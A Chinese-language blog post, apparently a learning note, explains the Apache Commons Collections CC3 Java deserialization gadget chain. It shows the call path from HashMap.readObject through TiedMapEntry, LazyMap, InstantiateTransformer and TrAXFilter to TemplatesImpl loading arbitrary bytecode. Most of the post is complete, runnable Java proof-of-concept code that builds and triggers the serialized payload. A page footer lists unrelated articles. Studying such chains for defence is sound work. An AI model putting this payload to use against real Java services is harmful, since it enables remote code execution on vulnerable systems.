绕过Invokertransfromer然后其实要执行方法的话我们就想到直接可以用cc链子1或者六的链子直接调用那个方法就行了,然后因为那个方法又是公开的方法所以一直接再invoketransform里面执行就行了然后就可以沿着cc链子继续网上走,这条链子就是去解决runtime被禁止序列化以后的方法去执行调用
HashMap<Object, Object> map = new HashMap<>();ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));//因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");HashMap<Object, Object> map1 = new HashMap<>();map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去laztMap.remove("aaaa");Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值//HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcodeserialize(map1);unseriallize("src.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("src.bin"));oos.writeObject(obj);}public static Object unseriallize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
还有一个问题当我们的核心方法invoketrasnform被ban掉以后我们这条链子就完全断点了,但是我们其实还是有其他方法来继续执行这个代码的就是继续上找一下找到其他方法去调用newTransformer方法
一顿操作以后
文章插图
直接找到了这个函数发现了构造函数是可以构造的地方,然后直接通过传参的方式获取 , 但是呢这个类又没有继承可以序列接口,所以我也不知道作者是怎么找到的这个方法
文章插图
确定链头在InstantiateTransformer这个类里面的它的构造方法存我们可以构造传入的参数值,而且它的transform还可以调用newInstance,到这里我们基本就完成了我们用URLdns那条链子来作为链头部
整体的调用过程
- HashMap.readObject
- TiedMapEntry.hashCode
- LazyMap.decorate
- ChainedTransformer.transform()
- InstantiateTransformer.transform()
- TrAXFilter
- Transformer.newTransformer()
- 动态类加载来执行(defineClass)
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {//类加载要使用类加载器TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field _namefield = templatesClass.getDeclaredField("_name");_namefield.setAccessible(true);Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);_namefield.set(templates,"aaaaa");byte[] code = Files.readAllBytes(Paths.get("C://test.class"));byte[][] codes={code};bytecodesField.set(templates,codes);Field tfactory = templatesClass.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});//在这里是InstantiateTransforme的获取构造器的方法然后用TrAXFilter调用构造器之后就可以构造出函数Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};HashMap<Object, Object> map = new HashMap<>();ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));//因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");HashMap<Object, Object> map1 = new HashMap<>();map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去laztMap.remove("aaaa");Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值//HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcodeserialize(map1);unseriallize("src.bin");}
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- .NET 源码学习 [数据结构-线性表1.2] 链表与 LinkedList<T>
- [AGC057D] Sum Avoidance
- cameralink base 接口双通道任意图像数据源模拟
- FlinkSQL之Windowing TVF
- FlinkSql之TableAPI详解
- HILINK海联品牌集合店 : 雅诗兰黛各款面霜区别
- Flink WordCount入门
- Flink的异步算子的原理及使用
- LinkedBlockingQueue详解
- 《基于Apache Flink的流处理》读书笔记